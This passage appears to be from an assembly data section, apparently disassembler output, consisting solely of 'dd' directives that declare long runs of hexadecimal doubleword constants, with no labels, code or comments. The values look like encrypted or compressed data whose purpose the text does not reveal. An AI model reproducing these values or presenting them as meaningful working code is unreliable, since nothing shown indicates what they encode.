0F40A7538h, 0A43ACD25h, 9EBD8C0h, 4D5080A9h dd 80F91709h, 0D2AC41A8h, 0B80CEF08h, 39E02708h, 0FC18D44Eh dd 248C41ECh, 3EA8D1FDh, 5C211607h, 7A13823Eh, 9D49E8A0h dd 0C1D2C8CAh, 2E7FCC8h, 0AA8FE140h, 8C400494h, 0A6405611h dd 0A1FB3054h, 0FD196729h, 2E8A20C2h, 91FA22C3h, 511D5021h dd 382891A6h, 0DFCAE504h, 4D191928h, 7388B44Eh, 900B4EC0h dd 0A0780241h, 229C7435h, 9B17B4E0h, 2839F681h, 0F8B06000h dd 86791C1Bh, 0D031D12Ch, 614674h, 78E5654Bh, 715FD8Eh dd 28507A11h, 0F8E14CF9h, 0C0314560h, 628A44B6h, 5AF7F06Ch dd 4EC9A833h, 0F07A5196h, 0A50041E2h, 5F8C0415h, 27CF739h dd 1E035865h, 71DC80B1h, 95A8926h, 2DD885ECh, 541974C6h dd 4A894702h, 0B979B3F0h, 5C264B50h, 0D2E3182h, 467C3C1Ah dd 0D4410771h, 846FCB0Fh, 18C1E59Fh, 0D207B369h, 90E8A74Eh dd 4A6B7A75h, 728C8038h, 202ECED3h, 6B006C87h, 939AE9F7h dd 0A899F2A9h, 2D25C288h, 63DE2D41h, 13CD100Eh, 9C9D1F07h dd 20B008C9h, 997BF60Ch, 0E3C80038h, 1A994F22h, 0C61203F8h dd 60055109h, 0C4404CFBh, 0C72F5DF2h, 370201A3h, 0BE9F7C74h dd 28EC283Ah, 0D12986Bh, 0D80A950Ah, 8040E01Bh, 24DBD4DCh dd 7424A684h, 0AB006346h, 65FB62DEh, 6B79C0BDh, 0E4AACE02h dd 50A189EBh, 2B9D44E8h, 0A05D8A00h, 0B01CB4FDh, 0ABD20094h dd 0F6AD060Fh, 0D106130Dh, 54FB4D3Ah, 6B6707A1h, 25B791EDh dd 115E8030h, 4407DE6Dh, 4D79C96Ah, 0A843976Eh, 1977A173h dd 4175A408h, 0DE9840CDh, 4731C5E7h, 0B16D9874h, 0C9B01F05h dd 646C9979h, 9CA8858h, 46E4BAB4h, 4D389990h, 1E208B68h dd 4DC8EA1h, 3C82DAF4h, 0E1983371h, 9C4AFF88h, 0F8B9782Ch dd 2A4C78E1h, 0F94B0F1h, 1703635Fh, 78D33480h, 0A41CB2D9h dd 0DC008EBCh, 1090D1ADh, 874E3ED2h, 85849061h, 4100D3CCh dd 1481734Ah, 6C2622B2h, 0CE206838h, 61618689h, 542084E9h dd 0D5C20117h, 6AB99010h, 9B0DC8ABh, 744C3317h, 48D60809h dd 20D3196Ch, 54E4347Fh, 3A000492h, 22E0DDE1h, 275D71Ch dd 5FCFDE82h, 0AC64A3B5h, 0C085E605h, 9835E508h, 9637A804h dd 0C112CC10h, 0D60C90BAh, 0B650A5F3h, 15025408h, 87A2D102h dd 0C4D8E450h, 54DE790h, 0FCC31801h, 99C65Eh, 0BAC56D03h dd 0F2A7EA35h, 0DE1F1006h, 1228A38Ah, 0C9C2CE01h, 21442BCh dd 71AC42h, 5218B8D1h, 0B5F4F7F8h, 52426526h, 6B0F4E06h dd 133CACE0h, 4E50BCCh, 194EBD94h, 8318AC70h, 1B9F3909h dd 80FC655Ah, 0A8397B66h, 90040152h, 92C43B4Eh, 82BF5082h dd 41D6A6E4h, 0D400B35Ch, 0CAFCE509h, 87EC127Bh, 8948C48h dd 824C1950h, 6E0758CEh, 0CCEA6762h, 5D7994D1h, 0F1008A18h dd 40093E42h, 0B685BF5h, 694F56D2h, 2F3A4848h, 2808A755h dd 8C56BC2Ch, 9CF30E1Eh, 40404E5Ah, 90A0E970h, 9AF22A2Ch dd 9D6B0094h, 81405DEFh, 7DFCB54Ch, 0CC405F4Eh, 1CAD588Fh dd 0BB0D2798h, 122C24AAh, 0A1E06074h, 0FF2385E1h, 0B721184h dd 87E199B6h, 170503D3h, 0B38D22C0h, 40BD4BFFh, 55E62148h dd 1B542750h, 314D6B8h, 0FD0AC86h, 762E2C9h, 8959FAB6h dd 239C8254h, 7E447A33h, 1B18C1A0h, 464C7BBh, 2D561CC1h dd 0B952B089h, 24C8D409h, 7727A2A1h, 0EE4C2246h, 746C4150h dd 40ADDC70h, 3C90A0C6h dd 27E09F4Ch, 2B84244Bh, 843BFC84h, 231C7023h, 730F7401h dd 0E860B5FDh, 151BF829h, 0B04797D3h, 4897452Fh, 2280B791h dd 0B5FBD6BBh, 4388C899h, 0FFA70081h, 0DC619C0Dh, 2CD4C016h dd 0C0806848h, 0D2B11069h, 5E226F46h, 10718C03h, 906ACBC1h dd 5CA1D2ABh, 0C840CA7Eh, 3C2D4DEBh, 830549Dh, 0BDF32402h dd 0B160A373h, 0B2E70CCh, 30266471h, 150964ACh, 0CB340914h dd 18C2DD60h, 0D030D03Ah, 6E4AA47Ch, 0DB030018h, 0AC8AB76Dh dd 322001EBh, 27EAF76Ch, 0F6F041D3h, 0E190133h, 6C88EC4Eh dd 0AD38A4CEh, 5041B881h, 0BEECE7EDh, 4209C6Ah, 932FA321h dd 9B88764Ch, 5A2513D0h, 98CC00A4h, 0DC9CA646h, 841B5280h dd 5BC0C210h, 0F3EC7050h, 50B85571h, 8805F1E0h, 3F4ECCAEh dd 0A4D1CB0h, 807458CAh, 58447820h, 2850258Ch, 16BD820h dd 0BA109917h, 17859BFh, 3D141909h, 0A64022C6h, 0C82458C8h dd 0AB467Ch, 71BB5F07h, 9CF5D17Fh, 48D3808Ch, 0EB78CD75h dd 89014A90h, 0E5E1E270h, 0F6EC9D56h, 776C2816h, 39D620D4h dd 0E756D00h, 551407E8h, 51362DB6h, 0CCDA543Ah, 0DE809B7Ch dd 4AE91215h, 0BB3C0936h, 502C9445h, 4521A028h, 98B220ACh dd 357D4E18h, 905417B4h, 98098194h, 21015818h, 98518F80h dd 0B4A65110h, 9C416089h, 2167BC80h, 761F7F26h, 0E10D0C9Ah dd 94716898h, 0F23782EFh, 552A2A1Ch, 0F97090h, 88060A7h dd 8EA26727h, 0F643149Ch, 14290F85h, 32403024h, 1061646Bh dd 6312AF00h, 0D698E8EFh, 0C02E2E13h, 987B4418h, 10086EFCh dd 0C497D2B4h, 40874E55h, 274AB810h, 8081EFEBh, 0A89113CDh dd 222C397Dh, 41F2F498h, 5279F09Ch, 0B4422600h, 2ECA41E8h dd 40A500FBh, 0A0788C91h, 0B30BEB24h, 0A4466BF2h, 3285A6BCh dd 53EF9804h, 0C40C0853h, 2204C8ACh, 0FCC3B96Fh, 0F1A6D2B1h dd 18B0D10Ch, 4AFF00B7h, 0B6299B7Eh, 7305F92Ch, 0BD7613D8h dd 40A39449h, 0C03D5358h, 907D4B08h, 58B862C7h, 39C5ED20h dd 4F359D9Ch, 45250970h, 0E7080000h, 0DC09E479h, 60399C3h dd 95B0CF20h, 0B511989Dh, 9294E587h, 18C068E8h, 0D78129BFh dd 403F1C20h, 0FB27547Ah, 1BC82750h, 0B07F8968h, 41936804h dd 9D91EBD6h, 8299C093h, 82095C44h, 382E94h, 528BA774h dd 0AF213A13h, 41FD280Ch, 0E0179577h, 1804711h, 0FB2F3DAh dd 0F1611D12h, 0DBE6C890h, 1C8203B7h, 0A83A03D9h, 0A8A29824h dd 5D01B004h, 0C01A48C2h, 410E13D0h, 10E444AEh, 0D10C848h dd 0F4F229B4h, 0D9070500h, 2E418378h, 0EF4C24h, 1AF3C267h dd 9818547Ch, 0F7D8A057h, 229797h, 120B149h, 0B807408Ch dd 10FB0AB6h, 4030950Ch, 388E640Eh, 0DA535500h, 70D1E2A0h dd 985AE61Dh, 15FE17h, 0C4D99C4h, 0E4BF3A40h, 49180B31h dd 5C4893BAh, 0B8557E50h, 0E5F83948h, 740447AEh, 9806B046h dd 40681311h, 0B5D7C402h, 0A91DCB1Eh, 7D6860A4h, 0E6BE1279h dd 2D94A44Dh, 0CE7CB4A4h, 0A074534Ch, 75DDB885h, 4ED21D6Dh dd 6E986877h, 0E608B06Eh, 0B8D44A01h, 9841BE64h, 0A2070BE2h dd 1C69E74Eh, 44C7C7Dh, 1C502343h, 0F8F4B4E5h, 87C0246Bh dd 80F41594h, 10FB28h, 0F79E9F62h, 36FFEA74h, 8E661316h dd 428820CEh, 88510BC0h, 0F67900E9h, 0F6EC58Ch, 0EE4ADDFFh dd 725D40C8h, 26C58001h, 0B009195h, 0CE771982h, 74013152h dd 9C29FA54h, 24265013h, 0A2F864D0h, 3064F218h, 0E63ED1DBh dd 488C007Bh, 0EEBDFFC2h, 92D0A552h, 21B0F2C9h, 0BE0102D3h dd 6C87351Ah, 0D9314D63h, 0ED2310A5h, 0A7D1132Dh, 7AAC0A25h dd 0CB7496C0h, 0C048C8FCh, 0B0B1A36Ah, 0A67A2DE4h, 883E867Dh dd 0C534C8C1h, 4001C885h, 2C3FC31Bh, 0DE1B4032h, 37E1B13Dh dd 30D4294Eh, 152399E8h, 0BE2A1997h, 108BB07Dh, 0BE9FBB19h dd 98A6000Ch, 0A327D886h, 18957093h, 2C05969Ch, 90223E4Eh dd 0BE148135h, 1DF3507Ah, 0C39D6E71h, 0A345DE81h, 0BCA0B85Ch dd 0E5008C61h, 9AEB325Eh, 0B14A2550h, 220F006Ch, 6FFBD34Eh dd 69769C92h, 373CA097h, 32C4DAEDh, 934658DCh, 0E1484DC0h dd 5913A700h, 8BFCFB0Eh, 0EB11026Bh, 97A66F33h, 0A0448082h dd 3C95C40h, 4B995280h, 0AC4CD0FBh, 16186384h, 8678E1B3h dd 0F8BD01CDh, 0BB344B72h, 46C841B0h, 52FB0238h, 790B0018h dd 483CB35Ah, 0D179718Bh, 0CA646D0Bh, 2BD80436h, 9B232054h dd 1005B012h, 1CF2AAD6h, 0C408FCFh, 0A240B481h, 1B20BB72h dd 0BDF61254h, 1314B25Bh, 0B0D05CFBh, 0B67D8357h, 5688080Ch dd 3F544425h, 48819AB6h, 5F754436h, 0AF18FC50h, 0C716EEB8h dd 0CCD28E81h, 0F52320ACh, 0E7740C4h, 0FAE288BCh, 2ED2213Fh dd 0D88434B3h, 0B1060312h, 4F521C91h, 0E9F3D600h, 67189E60h dd 4B5FE819h, 0F2DC06EAh, 25007198h, 443D151Ah, 1667D372h dd 33699FC6h, 0F0228434h, 4883FA4Ah, 14107C6Eh, 50F440E6h dd 41E59940h, 0BCD87C02h, 2398C72h, 23D5011Dh, 7BFB1335h dd 405E0860h, 500D7437h, 0D0B93DEBh, 0C511A00Ah, 288858C9h dd 0BB138451h, 0D43B9050h, 15003923h, 56D254D9h, 91FCB627h dd 0F097075h, 7053BB1Bh, 8D888024h, 0D31980E7h, 17F038FBh dd 3427C785h, 5CCA1570h, 8D7D4E9Bh, 439C01B8h, 0C2DC0003h dd 0A60D008Eh, 0AA60F1CAh, 0D8B6D6DAh, 3DE7CC60h, 0E3D4124Fh dd 0EA1002E5h, 5A02C348h, 90CC5B7Fh, 9010E62h, 0C07D6C4Ch dd 75FB12D6h, 2E1842C7h, 0E4030D3Bh, 736CFA29h, 433C9010h dd 0A4AC420h, 0B5FFB167h, 18C2C06h, 0FF76B6Dh, 88ACB3E8h dd 334F08F8h, 2C645E1Dh, 0A13783BEh, 0A86CFD68h, 3E29EEADh dd 9CACE190h, 0BEAA0BB9h, 1223CCA5h, 0E594419Dh, 206E877Bh dd 4E403A00h, 67BA1499h, 7C84CC39h, 82740BE6h, 509AC0Ch dd 0A6BC6399h, 2C8F3781h, 3AD009CCh, 8058794Dh, 455D71BAh dd 24B0D719h, 0B89715B0h, 2BFE0D44h, 252C2101h, 0D5F7C404h dd 0A69472ACh, 0CA32644Eh, 25EB2051h, 0D4FC9261h, 116C288Ah dd 907D2613h, 16E0621Dh, 3A660A21h, 57230Ch, 0D72D2C9Eh dd 0A75B21F3h, 0EB1E4C02h, 2590DAA3h, 0E09DC13Dh, 0B3805791h dd 0EBD6C6DBh, 401E94Eh, 96473734h, 0D6803839h, 0E61204CAh dd 6B8CE700h, 0D0831901h, 9D463A4Eh, 44B0B022h, 0C1D762Ch dd 0A03318E3h, 0B37E68Bh, 0A002A734h, 0FB0DAB80h, 789CC081h dd 46749468h, 0D6210256h, 0A2A1CB1Eh, 0E4CF85D0h, 0A2A30824h dd 31395053h, 84C23982h, 9C4F48F4h, 8928E22Ch, 9C500429h dd 690CB160h, 74B2D62Eh, 9A99070h, 6153860Ch, 7BEBEA80h dd 0F0422B3h, 4807C896h, 0E6754C81h, 0AF19586Dh, 142E993Bh dd 59B84CA9h, 0BD243B05h, 8408F61Eh, 0CE778E8Eh, 6491532Bh dd 1724F2E1h, 3B88A8E2h, 0EBF60A61h, 2CC87462h, 716C980h dd 0A7B2C65Fh, 6357445Ch, 0D7458093h, 0D492250Bh, 4A26D482h dd 36D9440Fh, 0A84830B8h, 0E48FFAFCh, 54022FFAh, 0E191C0Dh dd 2FD288C0h, 0A0247C80h, 5FD8A4A8h, 0BCC0254h, 820F98F6h dd 78E0E755h, 85814490h, 76A6CE22h, 7F2D0186h, 0F1EBE528h dd 223992C2h, 60CDA821h, 0B00E27E4h, 7ABC4458h, 0C9CA7E8h dd 0E1398662h, 0C389296h, 397E63B0h, 67C3DD07h, 8B10C489h dd 0F21ABC52h, 5F302097h, 4E04CA72h, 0F526D20Ah, 58CEACE0h dd 9A1A8165h, 841E088h, 1580811Ah, 7786509Dh, 64F4E7F2h dd 31506746h, 4EE9EF6h dd 0C6D601EFh, 4B38A935h, 1EBFE088h, 0C05291E6h, 752CC9D3h dd 9D3F44B5h, 0FB08703h, 0DC5079CCh, 95BD4CC0h, 0BAA36898h dd 0E02BAB30h, 2F384A0Fh, 0B802D024h, 812F5B83h, 551FA2BBh dd 20820845h, 0DC102DA3h, 4940ABA2h, 54F8E1DEh, 74985C76h dd 0D5D1EF75h, 4F4C4B6Fh, 12EF8C96h, 1F852FBh, 0F8BE5648h dd 60040171h, 6899C230h, 8BA2C908h, 6472F710h, 1DDE3CA0h dd 989A449Ch, 0F4DC0031h, 1A99BF23h, 3180D89Dh, 0B00E4F1h dd 0BB061185h, 81566FFAh, 6C1FF2A0h, 0F417C3B2h, 780045AFh dd 0F9C75DDAh, 0BE416B9h, 2C9842F0h, 90783B1Fh, 0D4B07B2Ch dd 10420912h, 0F835EBD8h, 0E3C60638h, 7962FB54h, 0AF4F320Bh dd 0D1DCAF71h, 21535F18h, 450192A3h, 0BC957225h, 0EE600AAFh dd 7980E3FBh, 55FC4D50h, 0A49A10B6h, 3B276C90h, 0FE14274Fh dd 0E0CD2D48h, 3E3B68C0h, 6B7800C1h, 4B0E4EEEh, 100B016Eh dd 187CCD9Dh, 812AFA74h, 22702D83h, 80F0B94Ch, 3ED8B473h dd 3898F2D3h, 1A98E222h, 51B6C99Dh, 5DC8056h, 4ED495C1h dd 295CE2EBh, 2814948Ch, 59C84048h, 0C468A041h, 0E3A2B981h dd 2A987232h, 9D0BA8C1h, 0C5993FA4h, 60B6E4E8h, 4E75146Fh dd 3040915Fh, 0FBF3D4E9h, 20E51024h, 0A3D9C360h, 4F0DEAC4h dd 0F2AC52BBh, 336AF240h, 0FAD679E8h, 22C84251h, 0AD62218Ch dd 38404C6Dh, 314F89h, 0D6F06309h, 7512C3C2h, 6CC8735Ah dd 1ACC6E3Dh, 74F697E0h, 0D83B6183h, 0F92D017Eh, 7ADB560Dh dd 6023D6EDh, 62E8944Ch, 5A1C128Ch, 0FD1E106Eh, 2C4DA548h dd 0C8421309h, 0C8D93429h, 5F1841D1h, 0FC00AF7Fh, 5314C26h dd 0D66E09h, 0B480E2D4h, 439AB96Ah, 2C443B5Eh, 0F494E157h dd 7F00386Bh, 2C5101Fh, 0C01318A3h, 5F02CEE9h, 61BD2275h dd 22150524h, 0E22E2CACh, 9D43DFBh, 6ECBB402h, 0DC7E044Ah dd 9C6A2140h, 0F2A2000Ch, 0B550475Dh, 0C80099FDh, 0F60EB68h dd 0A4AF86FFh, 3068B864h, 0F46958FCh, 0B200D352h, 7F9CCFE7h dd 0EBAD39D2h, 718578D1h, 0E06D6AD6h, 0D480A5F8h, 70A3151Eh dd 2E225C8Eh, 465E8CB6h, 94200345h, 6E9967Eh, 0C736D440h dd 7513609Ah, 9CE348F6h, 0A8336CB2h, 0F286270Ah, 7A4E1669h dd 0DFF44450h, 6D2480B7h, 28B6B5FFh, 50808398h, 204B4A24h dd 72950F10h, 3659DE64h, 6E8F44C1h, 7414C204h, 0FF2ED220h dd 0E8BB9785h, 0D3CF56E1h, 4ED0181Ch, 7D0B882Eh, 12506846h dd 0CB0D8034h, 0B0862F4Bh, 0CD324A18h, 781993A0h, 84F8780Ah dd 1C046D97h, 12134E3Ah, 0E1913C8h, 692BF590h, 42A3B8A4h dd 0D25FFE0Dh, 0C822001Ch, 0DB7FC740h, 0EC077C02h, 27A58BFBh dd 33059C31h, 98303BC9h, 0B0F52E11h, 0A401F4BCh, 0EB92EF57h dd 16D10FBCh, 0A51BC30h, 84F6F0D3h, 0DE0781ACh, 0E4E376E6h dd 0CD008C24h, 9D4886F3h, 90FE0CE7h, 0B31E2DD4h, 0D7E50C60h dd 0C028695Ch, 120DDF8Fh, 6A4E0267h, 0CDFF0E19h, 40569462h dd 0F22147D4h, 6DAD1721h, 9990C098h, 971382AFh, 4C3ACF2Ah dd 71004623h, 0C32E64C6h, 0CC8530FEh, 0D2BB49B1h, 25E6325h dd 0E138C288h, 0CEDC0908h, 74AB7D95h, 0A0E8B075h, 5C9AD65Ch dd 15804032h, 0B3762B46h, 6092734Eh, 0F26707C5h, 78621535h dd 0CE0234FAh, 1050122Fh, 0F19CE2CDh, 27328220h, 947E88EFh dd 0FF74B240h, 1FC5EC5h, 2BA29974h, 0CD85004Ch, 19C1CEA1h dd 9C508832h, 0B2446B5Ch, 84AC24A5h, 8400E4E4h, 5F5C7490h dd 0FACF890Ch, 0B1890B0h, 0F2DAD8ECh, 4B116CF1h, 20EA4200h dd 0C0E02109h, 55609205h, 50C76A2Ah, 1E17BB48h, 7D5C494Fh dd 0B5570084h, 0C0E01B30h, 0DC345E91h, 55170B42h, 846404D6h dd 483C4448h, 55409CF8h, 3D621991h, 309A17C6h, 495820C3h dd 0AF28BAA3h, 0F925A461h, 603429BDh, 81A2CE80h, 41E4CD50h dd 1E8F290h, 24E25474h, 16CE876h, 42887C65h, 0F02DF2E1h dd 156C5902h, 94616A52h, 0F08114FCh, 0EC3D75FFh, 3219F330h dd 9D40531Fh, 54045054h, 0A2DA05CAh, 20D2340Dh, 8F573224h dd 504C7242h, 2080994Ah, 0B1006121h, 0ABE2F465h, 0A03B6Bh dd 0D89E9871h, 7E1F690Ch, 4F270DF0h, 40480185h, 1C22C236h dd 7CA1A2DFh, 4AD0387Ah, 5E5F5C32h, 861D8018h, 0ABD78EACh dd 5791C00Eh, 0AD1A0089h, 0FAFAF6FBh, 3102B8D4h, 23A9BDF2h dd 987DECDFh, 5035744Ah, 0ABC8ECCBh, 940D8FC0h, 9E8160Fh dd 0A2DCA3DBh, 50853058h, 9F09FEF8h, 5A3F0EC6h, 85654494h dd 79CEA7F8h, 3475A486h, 8A4E70A7h, 0C071C824h, 19093BE7h dd 6FB8B502h, 0FCF85492h, 631E4194h, 0EBD6006Ah, 2B08B655h dd 0B133E78h, 666CF186h, 3D8067Ch, 2219A9EEh, 7B29F137h dd 0D02C14B5h, 0D73C3A02h, 94F3056Bh, 57509CDCh, 219D9F2Fh dd 0E50CF8C8h, 73BC6C2Ch, 2F4B008Ch, 0D4FEAF7Dh, 0B132AC32h dd 0DC229052h, 7FF60C98h, 2E002031h, 564F1B07h, 0CF86B4FBh dd 9D07BA0h, 604613D6h, 3226D47Ch, 0A5A167C7h, 7CACA449h dd 90682024h, 12B61078h, 0E8EC4CE9h, 0FE008CB6h, 0D4DC7A5Bh dd 5C59F08h, 1F5126CEh, 0BC6CE990h, 706E27Bh, 7E88831Dh dd 85555521h, 3E6C83EBh, 8C0F482h, 11255CF1h, 11789DE0h dd 0B34481B0h, 0D0D72846h, 4DC7D66h, 0D9FA754Ah, 5D24C194h dd 6A9800C1h, 674902D8h, 0A3BDF723h, 0B279F840h, 80A05C4Ah dd 12294296h, 40E5CA85h, 73BC206Bh, 0BC0C9EF8h, 0B04A5B5Eh dd 0DBB82985h, 8102634h, 0D80181ABh, 7F273A36h, 44208065h dd 97A94422h, 0DCDC565Eh, 3818836Fh, 1B79EAC1h, 902AE3CBh dd 9CB6DE54h, 10DF4A0h, 0CEA1B12Fh, 0FB54120h, 99A71120h dd 0E152FB86h, 0D5593F00h, 44F05D15h, 3C7400B5h, 1805BC4h dd 3D4FA6CEh, 904B2CCDh, 13C07288h, 0F52279h, 0E7EEC7ADh dd 4EBE992Ah, 740564B2h, 0EBD4B09Eh, 4288A48Eh, 90CB73C3h dd 2FE1AECh, 5B169B1Bh, 28E4C785h, 0A91EF2F8h, 9CA42ECEh dd 0D279D883h, 99B9A0A0h, 0CF917A1Bh, 219EFB20h, 9481888Fh dd 24A861E6h, 0C4306A04h, 6E1312D8h, 594B59Ah, 5AE0041Ch dd 0BB5818ACh, 0B315A2Bh, 4C0069C0h, 0D310B028h, 0B1E1FB10h dd 734F5209h, 857D1421h, 5B8473C9h, 0A29B70C0h, 495F6A57h dd 3D114Ch, 225B879Ch, 70997C8h, 0E0BF9075h, 5E927195h dd 7876E5B3h, 0CDFF0ABCh, 0EB1464AEh, 0BB1905CCh, 44A42A5Bh dd 84F4A806h, 96835FF5h, 26001AF8h, 53C5F304h, 0B2FF21h dd 0A4B933CBh, 3EE4F688h, 20CC6F5Bh, 9C91FCh, 0DA0552BEh dd 830BAA8Dh, 5037D31Bh, 0DCB55C8Ch, 0D2810712h, 0C47C3DC0h dd 66E7B020h, 106D0274h, 0F98FD2B5h, 758860A8h, 5A011110h dd 1531A686h, 7C68CB9Dh, 1D72CD82h, 0AB6C8109h, 0DC3C5F2Fh dd 8C70E8h, 44CBB7FEh, 1B0FDE3Ah, 6487C325h, 842A5A10h dd 0C0689B30h, 0E03A2B52h, 93301E56h, 9879657Ah, 0F1E24207h dd 63FD71F0h, 0F9D902ABh, 4A197E2Ch, 6B403CF6h, 3F736E8Ch dd 2980C653h, 89017BD8h, 0F324D6ACh, 0C2A74CCDh, 0DEECD2C0h dd 113CE461h, 0B2B85CA3h, 0E95E25D8h, 3D007908h, 69176BCAh dd 2C42B9CCh, 324BD73h, 0CD9384DDh, 21505104h, 2CF37852h dd 803241B2h, 5BE159EBh, 6531006Bh, 0AA38CE6Fh, 9005BA72h dd 87FF1F3Ah, 0A9AC9497h, 60F0B0D6h, 44CEE917h, 2406FC0Eh dd 0BBCF6A9Ah, 0F9541261h, 0C99080BEh, 2C80F6DEh, 81B05BDBh dd 34C7700h, 294DB855h dd 0C9D4003Bh, 0FCFAFBD2h, 68B07687h, 733FCE01h, 0F16CE87Fh dd 9768406Eh, 0E0B134A9h, 0F36D0600h, 99ADBD26h, 0CB5C0054h dd 0BA301B36h, 9B5E1AF7h, 84827894h, 0E218C7E3h, 83F58E5h dd 0A75C58E5h, 60B5446Ch, 1A8B78Ch, 26FACA07h, 706EEDF9h dd 2C9C697Eh, 0A31B0B3Ah, 8570E0CFh, 2C90BFD3h, 2E40ABC3h dd 0D48CA2D7h, 470D4014h, 0DA007487h, 4BA291BAh, 13408E04h dd 0C89FEB89h, 31C2DCD0h, 5DAAD485h, 188368B8h, 0A8006B7Ah dd 0FD10138Eh, 0FF32E3h, 0CEBEE0F1h, 6B1901F9h, 0E5F8D3E3h dd 325FC7CAh, 25FF8CCCh, 2482E2D5h, 0A0F827FBh, 0BA1ACD79h dd 0FB2888FAh, 934A782Ch, 6DAB380Bh, 32C40295h, 0E621003Fh dd 27255077h, 0C4FC6739h, 47A76041h, 7D402691h, 9DD303F7h dd 0D93D51F6h, 0B9FB8E08h, 780D0147h, 30489A76h, 6B0C08AFh dd 8E70C2D6h, 1F0C1DA7h, 83664072h, 0E2C0F4Fh, 397DF722h dd 0EA7CC224h, 0D8CA2DCDh, 9D97C802h, 0EE6498EDh, 78EE217Fh dd 0A8B6CF9Dh, 0FAFF97BCh, 2BF5A020h, 0CBCE000Dh, 36B6C292h dd 0B900E1DBh, 86090107h, 73F24FD8h, 0A230D65Bh, 30AFF2F4h dd 0EF007792h, 0FD895E04h, 873A2BDh, 0D3020B36h, 708442Ch dd 0F76B0077h, 0FF393219h, 60F2C52Fh, 5FBAA30Ch, 24A48783h dd 8B00F88Eh, 20C8E453h, 0C4980CE9h, 6B027E46h, 5FD2AF10h dd 738A001Ch, 85F27D10h, 0CA0860A6h, 807EF663h, 0DF5827Ch dd 0D4722DE3h, 0F9D18525h, 0C22796D8h, 24E19F8Ch, 197A0155h dd 6582C830h, 0C1741049h, 9A11A14h, 5F91EBE0h, 0A8B894BDh dd 4E811054h, 0F79CA04Ah, 0C6F8F6B0h, 79190F69h, 71AC80C8h dd 0DD1EA572h, 45E0018Fh, 24664D7Ch, 81C7DAB8h, 8A22D226h dd 3016557Ah, 6122C81Ch, 4D3463Dh, 0AF46D820h, 0DE949830h dd 34C6166Ah, 0DEF4F63Ch, 0A088F30Bh, 357A9C9Ch, 0CA18C1ACh dd 48A47636h, 0D4E58A48h, 0E850C8DAh, 0A052D6A4h, 83D09948h dd 48D390Bh, 23A55DA9h, 0D4E02010h, 0D2888A2Eh, 714532B1h dd 4D1991A8h, 0F020A861h, 3482B7BAh, 8444C3Dh, 8290E51Eh dd 58AC2CA4h, 0CB73DB08h, 8D028F2h, 0F6808A38h, 0B69B0D06h dd 0D6551E59h, 0F74BBF6Eh, 35710218h, 82DB1BDDh, 1E2B37FCh dd 0AB4FD8A1h, 0CB0A28B0h, 8C62603Bh, 0D850B0A0h, 7C8453F3h dd 9163B618h, 0B368BB0Dh, 0FC20CA9h, 0C4545232h, 12C7310h dd 38AADDFFh, 0C824CE2Fh, 3B04C1B6h, 12D9D732h, 0B80692Ch dd 0FB743885h, 0F36A788Ch, 6700E0E8h, 5817E37Dh, 4182CE9Fh dd 2D802036h, 842F995Ah, 1702B623h, 5E5E9924h, 98E387A4h dd 1E368055h, 2900D3B4h, 0CB5B937h, 15289CE6h, 0C455FAEFh dd 80AEDE00h, 95C96369h, 0DA877D1Ch, 92D4D714h, 880D38A8h dd 2ED19BD6h, 9623D8C1h, 3444C704h, 0C99D42C2h, 26454F5h dd 0A320B30Bh, 0A494A957h, 0E234BEC8h, 3045B29Ch, 0C0058CF9h dd 555271Ch, 232B44B5h, 0D6908F80h, 14006B3Eh, 6DFBAE0Bh dd 27DE047h, 4EC996AAh, 91577E83h, 0F9155AD0h, 4F6B8C4h dd 6613D8CCh, 0DFF202C5h, 0C460C74Eh, 53E360B5h, 0D4C9007Eh dd 4C3120F3h, 8F975F37h, 1D360BACh, 81611138h, 264737AEh dd 271AFDF0h, 784087D3h, 0CD0550B6h, 1D65814Ch, 16F9D8CCh dd 20F5A804h, 595F524Ch, 2CC3FA1Dh, 18BC5493h, 453B5CD4h dd 0B1CC9D92h, 0E8302F48h, 1C15938h, 0F4BF6521h, 0E41EA6C3h dd 3BECB1CBh, 1B76F804h, 60A077A3h, 0D0305F9h, 222BFA55h dd 0EF20B0ECh, 1375D8Ah, 9214860Ah, 0ED97CD60h, 3E1FCC66h dd 0C63DFC05h, 0C042A1F2h, 707F9B1Bh, 0C1A2E4DCh, 0DD236751h dd 0E4542156h, 9CA0D450h, 0AAF80882h, 55E4A5B7h, 0F7D1E8C0h dd 77B89AC0h, 3139F245h, 96306FD4h, 0E12EF2FCh, 1CD2EDF7h dd 2A194C30h, 90840ED1h, 259B3294h, 0B3181B18h, 10E4253Ch dd 0F062E41Ah, 3CA480D6h, 10612A1Ch, 0F4A2D69Dh, 0C5306DB2h dd 46D20214h, 6F3301A7h, 0AC56EEE2h, 0F39DDC80h, 2BD1BEAh dd 0E0174252h, 0EB40A9DEh, 9F1D1C71h, 2C17E08h, 3655696Ah dd 0E2493997h, 33B6F26Ch, 0DAE66C98h, 0A0C6D229h, 18016B00h dd 9D0FCD57h, 0A7C118A0h, 9174ABFCh, 80F76938h, 15DBA89Eh dd 10CC27h, 761A5689h, 0B5F5F9CAh, 0F2A43500h, 857C03F7h dd 489771C3h, 7A120957h, 0C368A82Fh, 0A67BD488h, 0E7CC3D69h dd 0B8F2F600h, 0C0901DAh, 0AC3BD14Ah, 9C49CE10h, 8F883A90h dd 820875Eh, 19C199AEh, 0E01313D3h, 2043456h, 0FF83E19Fh dd 0BC011C74h, 0C30AE197h, 0E885DC5Ch, 0B43FCEBEh, 43485F58h dd 0B4E49674h, 8B2529BEh, 0F804A1F8h, 6C00CE8Ah, 72CA5D87h dd 196737Dh, 0E56B7E92h, 446E7F7Bh, 8004C00Ch, 7C0DD76Ah dd 8963187h, 1D29DAF0h, 0DB7598h, 6DE27486h, 0DF005C7Dh dd 0D92D856Fh, 616A8870h, 967428C9h, 89618372h, 0F7DB5F7Dh dd 6CA46081h, 2940F7E3h, 0D77578h, 0CF2D796Fh, 80339770h dd 529A4E03h, 0E5C42996h, 799E0403h, 7C603E92h, 9BAA9000h dd 29B93860h, 0AC75D1CFh, 0E8958076h, 0A0656DE4h, 0A115D318h dd 7086694h, 0D85D7B6Dh, 0DA5F83C0h, 6038A332h, 6A768880h dd 7B107CC8h, 2200E474h, 57912696h, 6AFA8C83h, 5B30D97Eh dd 2DCF3893h, 4065609Bh, 708771B9h, 7790E100h, 0C43E9679h dd 53DA072Ah, 0E7C87D9Fh, 0E159BF81h, 69C7D093h, 5F7478C0h dd 215D6CE5h, 8890AA7Ah, 28C8612h, 2D5E92B7h, 81BB3CB0h dd 0C5597B1Fh, 8A23785Fh, 34CCA679h, 0A43C7218h, 0C5B620E0h dd 4AA32086h, 0D72DA090h, 2228E49Fh, 34E552DEh, 0E51824F4h dd 